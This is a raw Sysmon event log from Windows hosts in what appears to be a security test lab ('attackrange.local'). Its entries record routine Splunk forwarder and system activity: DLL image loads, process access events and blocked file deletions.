providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000053590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.488{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.488{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.487{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.487{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.487{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.487{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.486{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000053583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.307{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=22E220FD7CF55ABA37A8FB01D726C669,SHA256=9A512BAEEF0E12E8A4984EAA6AB02C4061CCF6797E19EAB937AE9141FB541B95,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.307{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DBC80BB1F87997678BDB4F9E29ED8BE6,SHA256=85D09136101383D470A000FF23E4591E750589EE076435261F276DDC69799388,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000053581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.138{7BD73061-73B5-613B-7F0B-00000000F001}71644828C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.122{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.122{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000017215Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:19.791{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78168CCCE189B8ED56FB9D17BDC2A9B5,SHA256=C6FFFB36DDE0A852183481269E6330AEE7D2F553D17013074C679C30BBA2780B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017214Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:19.201{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-048MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.554{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000053688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.554{7BD73061-73B7-613B-810B-00000000F001}27807008C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.554{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.554{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000053685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.507{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=22E220FD7CF55ABA37A8FB01D726C669,SHA256=9A512BAEEF0E12E8A4984EAA6AB02C4061CCF6797E19EAB937AE9141FB541B95,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000053684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.391{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.391{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.391{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.391{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.391{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.391{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.391{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.391{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 